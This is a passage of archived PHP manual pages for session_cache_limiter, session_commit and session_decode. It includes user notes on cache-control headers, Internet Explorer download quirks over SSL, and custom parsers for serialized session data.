wCgAACgQACggACg/wDAAADAQADAgADA/
wD/AAD/QAD/gAD//yAAACAAQCAAgCAA/
yAgACAgQCAggCAg/yBAACBAQCBAgCBA/
yBgACBgQCBggCBg/yCAACCAQCCAgCCA/
yCgACCgQCCggCCg/yDAACDAQCDAgCDA/
yD/ACD/QCD/gCD//0AAAEAAQEAAgEAA/
0AgAEAgQEAggEAg/0BAAEBAQEBAgEBA/
0BgAEBgQEBggEBg/0CAAECAQECAgECA/
0CgAECgQECggECg/0DAAEDAQEDAgEDA/
0D/AED/QED/gED//2AAAGAAQGAAgGAA/
2AgAGAgQGAggGAg/2BAAGBAQGBAgGBA/
2BgAGBgQGBggGBg/2CAAGCAQGCAgGCA/
2CgAGCgQGCggGCg/2DAAGDAQGDAgGDA/
2D/AGD/QGD/gGD//4AAAIAAQIAAgIAA/
4AgAIAgQIAggIAg/4BAAIBAQIBAgIBA/
4BgAIBgQIBggIBg/4CAAICAQICAgICA/
4CgAICgQICggICg/4DAAIDAQIDAgIDA/
4D/AID/QID/gID//6AAAKAAQKAAgKAA/
6AgAKAgQKAggKAg/6BAAKBAQKBAgKBA/
6BgAKBgQKBggKBg/6CAAKCAQKCAgKCA/
6CgAKCgQKCggKCg/6DAAKDAQKDAgKDA/
6D/AKD/QKD/gKD//8AAAMAAQMAAgMAA/
8AgAMAgQMAggMAg/8BAAMBAQMBAgMBA/
8BgAMBgQMBggMBg/8CAAMCAQMCAgMCA/
8CgAMCgQMCggMCg/8DAAMDAQMDAgMDA/
8D/AMD/QMD/gMD///8AAP8AQP8AgP8A/
/8gAP8gQP8ggP8g//9AAP9AQP9AgP9A/
/9gAP9gQP9ggP9g//+AAP+AQP+AgP+A/
/+gAP+gQP+ggP+g///AAP/AQP/AgP/A/
///AP//QP//gP///yH5BAEAAP8ALAAAA
AABAAEAAAgEAP8FBAA7"));
    exit;
}

?>

<!-- HERE YOU CAN INSERT THE HTML OR PHP CODE -->

<img name="keepUpdated" src="<?=$_SELF?>?img=999">
<script language="Javascript">
<!--
var updateEvery = 30;//Seconds
function keepUpdated() {
    timer=setTimeout("updateImage()",1000*updateEvery)
}
function updateImage() {
    var randNum = Math.floor(Math.random()*999);
    document.images.keepUpdated.src ="<?=$_SELF?>?img="+randNum;
    keepUpdated();
}
keepUpdated();
//-->
</script>

I hope this can be helpful for someone.

Bermi Ferrer
Session Functions
session_cache_limiter
Session Functions


Get and/or set the current cache limiter

session_cache_expire
session_commit
Session Functions
PHP Manual

session_cache_limiter

(PHP 4 >= 4.0.3, PHP 5)

session_cache_limiter — Get and/or set the current cache limiter

Description

string session_cache_limiter ([ string $cache_limiter ] )

session_cache_limiter() returns the name of the current cache limiter.

The cache limiter defines which cache control HTTP headers are sent to the client. These headers determine the rules by which the page content may be cached by the client and intermediate proxies. Setting the cache limiter to nocache disallows any client/proxy caching. A value of public permits caching by proxies and the client, whereas private disallows caching by proxies and permits the client to cache the contents.

In private mode, the Expire header sent to the client may cause confusion for some browsers, including Mozilla. You can avoid this problem by using private_no_expire mode. The Expire header is never sent to the client in this mode.

The cache limiter is reset to the default value stored in session.cache_limiter at request startup time. Thus, you need to call session_cache_limiter() for every request (and before session_start() is called).

Parameters

cache_limiter

If cache_limiter is specified, the name of the current cache limiter is changed to the new value.

Possible values
Value Headers sent
public
Expires: (sometime in the future, according session.cache_expire)
Cache-Control: public, max-age=(sometime in the future, according to session.cache_expire)
Last-Modified: (the timestamp of when the session was last saved)
private_no_expire
Cache-Control: private, max-age=(session.cache_expire in the future), pre-check=(session.cache_expire in the future)
Last-Modified: (the timestamp of when the session was last saved)
private
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=(session.cache_expire in the future), pre-check=(session.cache_expire in the future)
Last-Modified: (the timestamp of when the session was last saved)
nocache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Return Values

Returns the name of the current cache limiter.

Changelog

Version | Description
4.2.0 | The private_no_expire cache limiter was added.

Examples

Example #1 session_cache_limiter() example

<?php

/* set the cache limiter to 'private' */

session_cache_limiter('private');
$cache_limiter = session_cache_limiter();

echo "The cache limiter is now set to $cache_limiter<br />";
?>

See Also

  • session.cache_limiter

User Contributed Notes

Marina 05-Apr-2011 08:01
There is one scenario when you want to go in and change the default 'nocache' setting to something else - usually 'public': when serving flash files over a secured SSL connection. While most browsers handle things just fine with default settings, IE of any version seems to refuse to load Flash unless this setting is something *other* than 'nocache'. Set it to 'public', restart apache - works like a charm.
Tomas Liubinas 14-Mar-2010 02:24
FALSE parameter disables any automatic cache limiter
In this case no additional headers are sent

<?php
session_cache_limiter( FALSE );
?>
ire dot ogunsina at gmail dot com 01-Oct-2008 07:55
I have had some trouble preventing IE, particular IE 7 to stop caching pages. I read quite a number of articles relating to people's experiences and how they fixed it but it was hard to find one that worked for me. Eventually I had to use the following fix:
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="-1">

based on the information available on following url: http://support.microsoft.com/kb/234067

Would to God that we'd all quit IE for good. Hope this saves someone some agony over IE.
yves at kochira point com 08-Sep-2008 01:58
To avoid a headache while trying the various parameters in Firefox 3.0.1 (+Firebug), just restart the browser after a change... or they're not taken into account (from 'no-cache' to 'public'/'private').
scott at realorganized dot com 01-May-2008 11:03
http://us.php.net/session_cache_limiter

sends:

Pragma: no-cache

under some conditions from server to client.

Internet Explorer has a strange interpretation of: Pragma: No-cache
being sent from the server to the client.

Here's the link:

http://support.microsoft.com/kb/234067

If the client communicates with the server over a secure connection (https://) and the server returns a Pragma: no-cache header with the response, Internet Explorer does not cache the response.

Note, however, that the Pragma: no-cache header was not intended for this. According to the HTTP 1.0 and 1.1 specifications, this header is defined in the context of a request only, not a response, and is actually intended for proxy servers that may prevent certain important requests from reaching the destination Web server. For future applications, the Cache-Control header is the proper means for controlling caching.

For this reason, watch out when using the Pragma: no-cache with https and IE
clay at killersoft dot com 30-Mar-2008 05:44
The actual headers that are set using the values described above are:

public:
    Expires: pageload + 3 hours
    Cache-Control: public, max-age=10800

private:
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: private, max-age=10800, pre-check=10800

nocache:
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache

private_no_expire:
    Cache-Control: private, max-age=10800, pre-check=10800

Regarding other settings mentioned by some, those just don't do anything. Check the source of PHP, in ext/session/session.c -- the above values are all that actually do anything. Other values, or an emtpy string, result in no cache-limiting headers being set at all.
david at ordal dot com 25-Mar-2008 02:28
We did quite a lot of trial and error testing in IE 6/7 and FireFox 2.X to see what magic combo worked so that
1) the browser would cache the state of the page, but
2) The browser or intermediate proxies wouldn't cache the entire page.

Thus a NEW request would reload the page, but back/forward browser navigation wouldn't force a reload.

We found this worked best across browsers:

session_cache_limiter ('private_no_expire, must-revalidate');
brinley at etcorp dot com 30-Aug-2007 08:30
For those people trying to fix IE6's problem of recognizing the filename attribute in Content-Disposition. I thought I'd add that in addition to the fixes mentioned before, you have to take note of invalid and sensitive characters in the file name. For example, having a space or colon in the filename will cause IE6 to use a randomly generated filename.
Typer85 at gmail dot com 13-Jul-2007 02:16
Here is another handy trick for your session lovers out there;

It seems that using 'nocache' as an argument for this function, will prevent users browsing your website using IE 6 from viewing your HTML source file!

Probable reason ... probably because IE 6 is not caching anything due to the headers it is receiving, see my post below this one, and since IE 6 by default loads HTML source files from its cache, it can not find a file to open using notepad, since no file will exist in the cache!

I am not sure if this is the same with IE 7, but Mozilla Firefox does not have this problem.

Thank you Microsoft for yet another 'quality' product ( I read that somewhere and thought it was funny) ... at least now someone has a pretty neat trick up there hand to hide away their HTML source.

Do not know who ... but you are out there I am sure :)
Typer85 at gmail dot com 13-Jul-2007 01:19
Here is some magic for you PHP session lovers out there;
it seems that if you use 'nocache' as an argument for this function, PHP will send the following headers automatically for you:

--------------

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

--------------

Which pretty much render any cache ineffective because no proxy or browser that follows the HTTP 1.1 protocol will cache
your request. In short, every page request, whether explicitly through a page reload or not, will go through your server.

Not something good for those of us looking for a bit of security but also for some performance juice.

The only way to override these headers, if you use the 'nocache' as an argument, is to use the header( ) function
after you start your session but before you send any output:

<?php

// Above Headers Sent By PHP.

session_cache_limiter( 'nocache' );

// Start Session.

session_start( );

// Override Headers.

header( 'Cache-Control: no-cache, must-revalidate, post-check=3600, pre-check=3600' );

?>
Fernando Gabrieli fgabrieli at gmail 07-Apr-2007 05:21
<?
    session_cache_limiter ('private, must-revalidate');

    $cache_limiter = session_cache_limiter();

    //

    session_cache_expire(60); // in minutes

    session_start() ;
?>

If i do not set must-revalidate, IE seems to cache session variables without refreshing them

If i post a form then it refreshes the variables

Firefox does not have this problem

So, be sure to use must-revalidate
Jeremiah at jkjonesco dot com 30-Oct-2006 03:20
If you are trying to work with dynamic binaries such as videos or images, the new IE 7 appears to require the ETag header.  You will need to make sure that you follow the specifications for how ETag works in order for your cache control to work properly.  Mozilla supports the ETag header as well, but does NOT require it for caching.  If you need to cache a dynamic image, video, or other binary file, then be sure to set your ETag and then check for the If-Not-Modified header on subsequent requests so that you can properly return the 304 Not Modified page.
john 28-Mar-2006 08:36
In addition to the  above, don't forget to check the php.ini file for the setting:   session.cache_limiter = nocache

Since I use xoops and didn't start the session, I had the SSL/download problem until I noticed this.
19-Oct-2005 08:11
The onLoad method of Actionscript's loadVars class was returning false in IE6 using SSL until I set --> session_cache_limiter("must-revalidate"); <-- on the receiving PHP script.
radu dot rendec at ines dot ro 18-Oct-2005 04:41
I've read the other comments and done some "reasearch" on my own. Using php's session mechanism and explicitly setting the "cache-control" header should not be mixed.

When session_start() is called, the "cache-control" and "pragma" headers are automatically set by php (to whatever value had been specified using session_cache_limiter()).

Explicitly setting those headers _before_ session_start() will have no effect, and explicitly setting them _after_ session_start() will overwrite the settings from session_cache_limiter().

If I had to deal with php sessions, I'd go for using session_cache_limiter() and leaving the headers alone.
02-Sep-2005 03:04
Andrei Chirila, andrei_chirila at yahoo dot com
12-Jan-2005 09:30
I played about an hour with the download and sessions. yes, to work you'll need session_cache_limiter("must-revalidate"); but this BEFORE session_start() if you want that your download start [IE problem]. Hope someone will need this someday

====

yes, somebody has needed this today :)

situation: trying to make a session based download management system complete with user login system that requries an authorized user to download some files, and hide all such files from non-authorized users. the user login, download center, and content management system of the site are all tied in to each other, making troubleshooting this headering stuff a headache.

problem: files being served are not accessible thru the regular site, since they are above the htdocs folder in apache, and so headering the file is required, and sessions do not work well with files being headered to the browser.

solution: the download center uses ob_start("");, then  session_cache_limiter("must-revalidate");, before the session_start();, then everything works well.

thank you very much! i was resorting to using a cookie to control this before because i could not figure out how to tie in sessions to the system before!
donovan at go4 dot com dot au 07-Aug-2005 06:41
IE6 'the file could not be written to the cache':

I tried all the other suggestions mentioned here but none of them worked.

I friend suggested header("Pragma: ");

This worked straight away!
snakes at ntica dot com 12-May-2005 02:28
Avoiding caching PHP pages:
After lot of tries and research this is the best combination of headers I've found that seems to work well even with the proxy of visitors that are using satellit connection.

<?
header("ETag: PUB" . time());
header("Last-Modified: " . gmdate("D, d M Y H:i:s", time()-10) . " GMT");
header("Expires: " . gmdate("D, d M Y H:i:s", time() + 5) . " GMT");
header("Pragma: no-cache");
header("Cache-Control: max-age=1, s-maxage=1, no-cache, must-revalidate");
session_cache_limiter("nocache");
?>
Andrei Chirila, andrei_chirila at yahoo dot com 12-Jan-2005 06:30
I played about an hour with the download and sessions. yes, to work you'll need session_cache_limiter("must-revalidate"); but this BEFORE session_start() if you want that your download start [IE problem]. Hope someone will need this someday ...
justin at justintubbs dot com 07-Jan-2005 12:04
I have PHP 4.3 running on a Windows 2003 Server running IIS 6.0 also using SSL encryption for my pages.  I could not (for the life of me) figure out how to get IE 6.0/WinXPPro to recognize a set of HTML tables as an Excel spreadsheet export, and it was due to the header() variables I was using.  Hopefully these are helpful to others who are attempting the same type of export within PHP.

*This example builds on the previously submitted one, adding a few necessary headers.

<?php
    header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
    header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
    header("Pragma: public");
    header("Expires: 0");
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
    header("Cache-Control: public");
    header("Content-Description: File Transfer");

    session_cache_limiter("must-revalidate");
    header("Content-Type: application/vnd.ms-excel");
    header('Content-Disposition: attachment; filename="fileToExport.xls"');

    // and after you start the session
    session_start();
?>
pulstar at ig dot com dot br 24-Oct-2004 02:39
You can find more information about to control the cache in PHP at http://www.php.net/manual/en/function.header.php

If you have a dinamic website and want to allow your visitors to use the back button after they sent a form with the post method, the best combination I found was:

<?php

header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: post-check=0, pre-check=0",false);
session_cache_limiter("must-revalidate");

// and after you start the session
session_start();

?>

I try some combinations using header("Cache-Control: no-cache, must-revalidate"), but when clicking the back button, the last changes in the form back to their previous states. The combination above works fine with IE 6.x. I didn't test this with other browsers.

When I try something like session_cache_limiter("nocache, must-revalidate") it doesn't work. The page only updates when I used the browser's refresh button. In dynamic web sites this is not good. The content must be fresh after each click.

I didn't find these combinations like "private, must-revalidate" documented in the manual and I guess that something different from "none, nocache, private, public and private_no_expire" are resolved to "none" or something like that. One thing I notice is that in session_cache_limiter() it is "nocache", but in header() it is "no-cache". This may give us some clues about how session_cache_limiter() function works.

About caching, the perfect solution I think is to give the correct expiration date and time and also the right last-modified header for each element in the web site, when they are really updated. This means a lot of extra controls of course, but may worth in web sites with high overload.

The "public" option means that all available cache in proxies and clientes will be used, so this improves the speed of the web site and also reduces the used bandwidth. But without the right expiration and last-modified headers, you can use it only in static web sites.

The "private" option means that only the cache in clients will be used. This is good for a more sensitive data that can be stored locally in the browser cache. It have some benefits of the public option, but the same restrictions too.

The "nocache" (or no-cache?) option means that the HTML portion will not be cached, but the images, CSS and JS files will. This is good for dynamic websites because you still can use the power of cache without loose the refreshness after each click. These files can be updated when you open the web site or use the browser's refresh button.
I don't know why, but flash files are never updated when you click the refresh button. A common solution for this is to change the file name when you update the flash file.

The "no-store" option means that all the content will not be cached anyway, including images, CSS or JS files. I don't know if this applyes to flash files too, but is possible. This option must be used with very sensitive data. I think the SSL uses this by default.
misterp3d at hotmail dot com 18-May-2004 02:16
I had a problem using a FORM with POST method when user of my website was using the back button. The page requested a refresh to be able to see again the FORM.

To solve the problem I used :
<?php
session_cache_limiter('private, must-revalidate');
?>

*You need to write this line before any output

Hope that will help some of you ;)

[P]
usenet at phord splat com 25-Mar-2004 08:44
Hey!  NickyBoy was right!

I looked all over google and his note was the only place that had it right.  But, there's a caveat.

I wrote up my results here:
http://www.phord.com/experiment/cache/
richard at izyn dot co dot nz 01-Mar-2004 06:17
I found that session_cache_limiter("none") works for me when I create PDFs  on the fly because session_cache_limiter("private") causes the browser(IE6) to cache the PDF indefinitely.
Mikko Hämäläinen 22-Jan-2004 09:10
I had a similair problem (browsers couldn't save files coming from my download-script). Only in my case the problem occured with IE 6.0 and Netscape 7.1. Adding the "session_cache_limiter('public');" before "session_start();" helped.
jthome at fcgov dot com 03-Dec-2003 04:36
In addition to the note above regarding SSL/IE bug/Sessions, also make sure you DO NOT SET THE HEADER 'Pragma: no-cache' if you are sending an inline document (e.g., PDF document).

For example:

<?php

        header("Content-Type: application/pdf");
        header("Content-Disposition: inline; filename=foo.pdf");
        header("Accept-Ranges: bytes");
        header("Content-Length: $len");
        header("Expires: 0");
        header("Cache-Control: private");
//        header("Pragma: no-cache");//don't send this header!!

?>

Best,

--
Jim
plyrvt at mail dot ru (Yura Pylypenko) 31-Jul-2003 02:33
Be careful using session_cache_limiter() with ob_start('ob_gzhandler')
If ob_start('ob_gzhandler') is called after session_cache_limiter() it seems to overwrite cache control headers with 'nocache' equivalent.
So always put ob_start first.
MerlinsInvite 23-May-2003 09:51
I solved the problem with pushing downloads to browser's, without needing to play with server/session parameters by using :
header("Content-Disposition: inline; filename=\"$filename\"");
for IE browsers and
header("Content-Disposition: attachment; filename=\"$filename\"");
for all other browsers.
nickyboy at 4ce.co.uk 10-Mar-2003 05:42
The problems people mention about IE are actually a feature!
Microsoft Knowledge Base Article 316431 says:

In order for Internet Explorer to open documents in Office (or any out-of-process, ActiveX document server), Internet Explorer must save the file to the local cache directory and ask the associated application to load the file by using IPersistFile::Load. If the file is not stored to disk, this operation fails.

When Internet Explorer communicates with a secure Web site through SSL, Internet Explorer enforces any no-cache request. If the header or headers are present, Internet Explorer does not cache the file. Consequently, Office cannot open the file.

They say this applies to:
Microsoft Internet Explorer 5.5 for Windows 2000
Microsoft Internet Explorer 5.01 for Windows 2000
Microsoft Internet Explorer version 6 for Windows 2000
not sure about other versions!

hth
nickyboy
phobo at paradise.net.nz 12-Dec-2002 05:33
Please note that you DO NOT NEED to specify session_cache_limiter to get downloads work IMHO.

With IE6 (and others I imagine), you might have a problem with the filename attribute of Content-Disposition being recognised. In my experience, IE always believed the filename of the download was the name of the script (ie, the URL generating the file, rather than the header being pushed).

When adding: Header("Pragma: public");   this was solved.

E.g. (Working CSV / opens in Excel in Windows).

--

header("Cache-control: private");
header("Content-Type: text/plain");
header("Content-Disposition: attachment; filename=\"$filename\"");
header("Pragma: public");

echo "Dogs,Cats,Fish\n";
echo "1,2,3\n";
echo "4,5,6\n";

--
cj at NOSPAMceejayoz dot com 18-Jun-2002 11:41
Setting session.cache_limiter = none; in your php.ini file will avoid the problem in IE in which pressing the back button after using a POST form will result in "Warning: Page Has Expired".
chris at cwcomputerservices dot co dot uk 20-May-2002 11:40
IMPORTANT - READ THIS TO SAVE A LOT OF WASTED TIME

After spending a long time trying all the above solutions without success, I eventually found a more likely cause for these errors. There are problems with Apache/SSL and Internet Explorer with SSL connections - detailed information and a simple fix is here:

http://www.extremetech.com/article/0,3396,s=201&a=24899,00.asp

and here:

http://www.modssl.org/docs/2.8/ssl_faq.html#ToC49

So a simple web server reconfiguration may save you hours of fiddling with cache control headers!
roblugt at elcel dot com 09-Oct-2001 06:04
We had a strange problem with zip file downloads (not using SSL) under IE5.  If the user chose the option to "save to disk", then everything worked fine, but if they chose "open", then winzip was launched okay - but the displayed zip archive was empty.

We eventually tracked this down to the Cache-Control header and the php script was fixed by adding

 session_cache_limiter('public');

before the first call to session_register()
simon at ateb dot co dot uk 02-Mar-2001 10:49
There is a bug(?) in Internet Explorer v5.5 to do with file downloads over a secure (https) web connection when using sessions. If you have a php script which delivers files for downloading by setting headers for the content-type etc. from a URL like this:

getfile.php/filename.ext
- or -
getfile.php?file=/filename.ext

and that script uses sessions, then you must explicitly set

session_cache_limiter('public');

*before* you use
session_start();

otherwise you will get one of the following errors from IE when it attmpts to download the file:

Internet Explorer cannot download filename.ext from name.of.your.webserver
Internet Explorer was not able to open this site. The requested site is either unavailable or cannot be found. Please try again later.

Mmm, this is useful error message isn't it! The other error you will see when right clicking and choosing 'Save Target As...' gives the error

Internet Explorer cannot download filename.ext from name.of.your.webserver
The file could not be written to the cache.

This problem does not occur over unsecure (http) links and files download OK. I don't know why this should be the case, but PHP seems to send an extra no-cache header when using sessions which breaks IE when it is using SSL. Setting the session_cache_limiter turns off this behaviour.
session_cache_expire
session_commit
Session Functions


Alias of session_write_close

session_cache_limiter
session_decode
Session Functions
PHP Manual

session_commit

(PHP 4 >= 4.4.0, PHP 5)

session_commit — Alias of session_write_close()

Description

This function is an alias of: session_write_close().

User Contributed Notes

There are no user contributed notes for this page.
session_cache_limiter
session_decode
Session Functions


Decodes session data from a string

session_commit
session_destroy
Session Functions
PHP Manual

session_decode

(PHP 4, PHP 5)

session_decode — Decodes session data from a string

Description

bool session_decode ( string $data )

session_decode() decodes the session data in data, setting variables stored in the session.

Parameters

data

The encoded data to be stored.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • session_encode() - Encodes the current session data as a string

User Contributed Notes

jason at joeymail dot net 04-Jan-2011 04:23
Yet another attempt a wheel re-invention, using match with offsets rather than split...

<?php
function unserializesession( $data )
{
    if(  strlen( $data) == 0)
    {
        return array();
    }

    // match all the session keys and offsets
    preg_match_all('/(^|;|\})([a-zA-Z0-9_]+)\|/i', $data, $matchesarray, PREG_OFFSET_CAPTURE);

    $returnArray = array();

    $lastOffset = null;
    $currentKey = '';
    foreach ( $matchesarray[2] as $value )
    {
        $offset = $value[1];
        if(!is_null( $lastOffset))
        {
            $valueText = substr($data, $lastOffset, $offset - $lastOffset );
            $returnArray[$currentKey] = unserialize($valueText);
        }
        $currentKey = $value[0];

        $lastOffset = $offset + strlen( $currentKey )+1;
    }

    $valueText = substr($data, $lastOffset );
    $returnArray[$currentKey] = unserialize($valueText);

    return $returnArray;
}
?>
davyvandenbremt at gmail dot com 16-Dec-2010 01:18
Here's what we are using to unserialize the session.

<?php
function unserialize_session($val) {
  $result = array();

  // prefixing with semicolon to make it easier to write the regular expression
  $val = ';' . $val;

  // regularexpression to find the keys
  $keyreg = '/;([^|{}"]+)\|/';

  // find all keys
  $matches = array();
  preg_match_all($keyreg, $val, $matches);

  // only go further if we found some keys
  if (isset($matches[1])) {
    $keys = $matches[1];

    // find the values by splitting the input on the key regular expression
    $values = preg_split($keyreg, $val);

    // unshift the first value since it's always empty (due to our semicolon prefix)
    if (count($values) > 1) {
      array_shift($values);
    }

    // combine the $keys and $values
    $result = array_combine($keys, $values);
  }

  return $result;
}
?>
deminy at deminy dot net 16-Nov-2007 01:24
1. Reply to ac's post:

As I mentioned at http://us.php.net/manual/en/function.unserialize.php#76977 , the regular expression used to unserialize a PHP session data won't work if the session data contains string variable which contains character '|'.

Here is a simple example I just come up with to show when the function unserializesession() won't work.

<?php
function unserializesession($data) {
    $vars=preg_split('/([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff^|]*)\|/',
              $data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
    for($i=0; $vars[$i]; $i++) $result[$vars[$i++]]=unserialize($vars[$i]);
    return $result;
}

session_start();

$_SESSION['var'] = 'a|b';
$str = session_encode();
$arr = unserializesession($str);

print_r($_SESSION);
echo "<br />\n";
print_r($arr);
?>

2. Reply to bmorel's post:

Your function session_real_decode() is very nice to decode session data without involving with session functions. It works in most cases, but when dealing with reference variables, there is another case which should also be handled:

    <?php case 'r': /* reference  */ // R in lowercase ?>

I found this bug on PHP 5.1.6 several months ago, but don't know if it exsits in other version of PHP or not. Also, I am not sure if similiar bugs exist when handling other data types.

So here is my suggestion to revise the function,
2.1.
    change the switch statement from
    <?php switch ($str[$q]) { ?>
    to
    <?php switch (strtolower($str[$q])) { ?>
2.2.
    In all case statements, use lowercase characters only for character comparison. For example,
    <?php case 'R': /* reference  */ ?>
    should be be written as
    <?php case 'r': /* reference  */ ?>

(I don't want to put long code here, so just leave pieces of code to save spaces)
ac 20-Oct-2007 07:46
this solved my | problem:

function unserializesession($data) {
    $vars=preg_split('/([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff^|]*)\|/',
              $data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
    for($i=0; $vars[$i]; $i++) $result[$vars[$i++]]=unserialize($vars[$i]);
    return $result;
}
leon dot pegg at gmail dot com 23-Aug-2006 08:14
i have found this to be a better way to restore session data while keeping your current session.

function decode_session($session_string){
    $current_session = session_encode();
    foreach ($_SESSION as $key => $value){
        unset($_SESSION[$key]);
    }
    session_decode($session_string);
    $restored_session = $_SESSION;
    foreach ($_SESSION as $key => $value){
        unset($_SESSION[$key]);
    }
    session_decode($current_session);
    return $restored_session;
}

enjoy
xueron at gmail dot com 15-Jul-2006 09:30
a perl reg:

$s = session_encoded_value;
%res = $s =~ /([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\|([^\|]*[\;\}])/g;
nero321 at zmail dot sk 27-Jan-2006 05:01
Another solution for decoding session string to "$_SESSION"-like array:

<?php

// returns decoded string as arrays of variables
//   or false on error (when session_decode returns false)
function DecodeSession($sess_string)
{
    // save current session data
    //   and flush $_SESSION array
    $old = $_SESSION;
    $_SESSION = array();

    // try to decode passed string
    $ret = session_decode($sess_string);
    if (!$ret) {
        // if passed string is not session data,
        //   retrieve saved (old) session data
        //   and return false
        $_SESSION = array();
        $_SESSION = $old;

        return false;
    }

    // save decoded session data to sess_array
    //   and flush $_SESSION array
    $sess_array = $_SESSION;
    $_SESSION = array();

    // restore old session data
    $_SESSION = $old;

    // return decoded session data
    return $sess_array;
}

?>

Example of use:

<?php

$sarr = DecodeSession($sess_str);
print_r($sarr);

?>

But I have not tested performance.
erwinmoller at xs4all dot nl 18-Oct-2005 07:25
The regExp-method describe earlier doesn't work under all conditions.

If I feed this:
voornaam|s:8:"Ai|;\'\"";achternaam|s:6:"werrwe";leeftijd|i:44;

I get this:
array(4) {
  ["voornaam"]=>
  bool(false)
  ["Ai"]=>
  bool(false)
  ["achternaam"]=>
  string(6) "werrwe"
  ["leeftijd"]=>
  int(44)
}

while I expected:
array(3) {
  ["voornaam"]=>
  string(8) "Ai|;\'\""
  ["achternaam"]=>
  string(6) "werrwe"
  ["leeftijd"]=>
  int(44)
}

I think the | is messing things up. :-/
bmorel at ssi dot fr 23-Aug-2005 12:54
Here is a function that returns decoded session data, that seems to work in every cases, even when strings contain reserved chars :

<?php
define('PS_DELIMITER', '|');
define('PS_UNDEF_MARKER', '!');

function session_real_decode($str)
{
    $str = (string)$str;

    $endptr = strlen($str);
    $p = 0;

    $serialized = '';
    $items = 0;
    $level = 0;

    while ($p < $endptr) {
        $q = $p;
        while ($str[$q] != PS_DELIMITER)
            if (++$q >= $endptr) break 2;

        if ($str[$p] == PS_UNDEF_MARKER) {
            $p++;
            $has_value = false;
        } else {
            $has_value = true;
        }

        $name = substr($str, $p, $q - $p);
        $q++;

        $serialized .= 's:' . strlen($name) . ':"' . $name . '";';

        if ($has_value) {
            for (;;) {
                $p = $q;
                switch ($str[$q]) {
                    case 'N': /* null */
                    case 'b': /* boolean */
                    case 'i': /* integer */
                    case 'd': /* decimal */
                        do $q++;
                        while ( ($q < $endptr) && ($str[$q] != ';') );
                        $q++;
                        $serialized .= substr($str, $p, $q - $p);
                        if ($level == 0) break 2;
                        break;
                    case 'R': /* reference  */
                        $q+= 2;
                        for ($id = ''; ($q < $endptr) && ($str[$q] != ';'); $q++) $id .= $str[$q];
                        $q++;
                        $serialized .= 'R:' . ($id + 1) . ';'; /* increment pointer because of outer array */
                        if ($level == 0) break 2;
                        break;
                    case 's': /* string */
                        $q+=2;
                        for ($length=''; ($q < $endptr) && ($str[$q] != ':'); $q++) $length .= $str[$q];
                        $q+=2;
                        $q+= (int)$length + 2;
                        $serialized .= substr($str, $p, $q - $p);
                        if ($level == 0) break 2;
                        break;
                    case 'a': /* array */
                    case 'O': /* object */
                        do $q++;
                        while ( ($q < $endptr) && ($str[$q] != '{') );
                        $q++;
                        $level++;
                        $serialized .= substr($str, $p, $q - $p);
                        break;
                    case '}': /* end of array|object */
                        $q++;
                        $serialized .= substr($str, $p, $q - $p);
                        if (--$level == 0) break 2;
                        break;
                    default:
                        return false;
                }
            }
        } else {
            $serialized .= 'N;';
            $q+= 2;
        }
        $items++;
        $p = $q;
    }
    return @unserialize( 'a:' . $items . ':{' . $serialized . '}' );
}
?>

Please let met know if you find any bug.
brett at brettbrewer dot com 29-Jul-2005 11:25
I have made a minor change to fabrizio's (et all) version of the unserializesession function because it was choking on underscores in my variable names.  Here is the correct version which should account for ALL possible PHP variable names:

function unserializesession($data) {
   $vars=preg_split(
             '/([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\|/',
             $data,-1,PREG_SPLIT_NO_EMPTY |
              PREG_SPLIT_DELIM_CAPTURE
             );
   for($i=0; $vars[$i]; $i++) {
       $result[$vars[$i++]]=unserialize($vars[$i]);
   }
   return $result;
}

Please note that I had to split the preg_split function call above into 4 lines due to the limitations of this forum. This version changes the regex used to find variable names so that it complies with the specs for  variable names as specified in the PHP manual at http://us3.php.net/manual/en/language.variables.php. I just took the regex directly from the PHP manual pages where they give the regex equivalent for a valid variable name as:

[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*

Anyway, this seems to work great for me now, even on gigantic strings of encoded session data.
vesely at tana dot it 26-May-2005 03:25
When using this function to manage sessions, it is MUCH
better to have register_globals turned off. Then one can
examine the session content given its id.

<?php
   $fname = session_save_path() . "/sess_" . $the_sid;
   if (session_decode(file_get_contents($fname)))
   {
      $vars = $_SESSION;
      $_SESSION = array();

      // examine $vars...
   }
?>

Depending on PHP version, you may need to have a dummy
session started for the code above to work. I reset the
$_SESSION immediately in order to avoid writing the
dummy session: that's needed while testing the code!
fabrizio dot messina at gmail dot com 16-May-2005 06:40
this function _really_ split and decode session data:

function unserializesession($data) {
   $vars=preg_split('/([a-zA-Z0-9]+)\|/',$data,-1,PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
   for($i=0; $vars[$i]; $i++) {
       $result[$vars[$i++]]=unserialize($vars[$i]);
   }
   return $result;
}

the difference from previously posted 'unserializesession' function is the regular expression inside function preg_split ('[a-zA-Z0-9]+' vs  '[a-z,A-Z]+' )
sco at postmaster dot co dot uk 04-Jun-2004 07:52
If you're trying to access your session data from outside the regular php session functions, you might want to use WDDX as your serializer, as opposed to the normal php serializer. When your data is serialized as XML, obviously it's easy to unserialize as you please.

